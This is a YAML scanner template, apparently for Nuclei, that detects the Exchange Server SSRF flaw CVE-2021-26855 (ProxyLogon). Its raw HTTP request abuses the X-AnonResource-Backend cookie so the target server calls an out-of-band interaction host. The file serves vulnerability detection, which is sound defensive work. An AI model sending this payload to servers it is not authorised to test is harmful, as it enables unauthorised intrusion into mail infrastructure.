31 lines
1.1 KiB
YAML
31 lines
1.1 KiB
YAML
id: CVE-2021-26855
|
|
|
|
info:
|
|
name: Exchange Server SSRF Vulnerability
|
|
author: madrobot
|
|
severity: critical
|
|
description: |
|
|
Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, CVE-2021-27078.
|
|
tags: cve,cve2021,ssrf,rce,exchange,oast,microsoft
|
|
reference:
|
|
- https://proxylogon.com/#timeline
|
|
- https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse
|
|
- https://www.shodan.io/search?query=vuln%3ACVE-2021-26855
|
|
- https://gist.github.com/testanull/324546bffab2fe4916d0f9d1f03ffa09
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.80
|
|
cve-id: CVE-2021-26855
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
GET /owa/auth/x.js HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Cookie: X-AnonResource=true; X-AnonResource-Backend={{interactsh-url}}/ecp/default.flt?~3;
|
|
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the HTTP Interaction
|
|
words:
|
|
- "http" |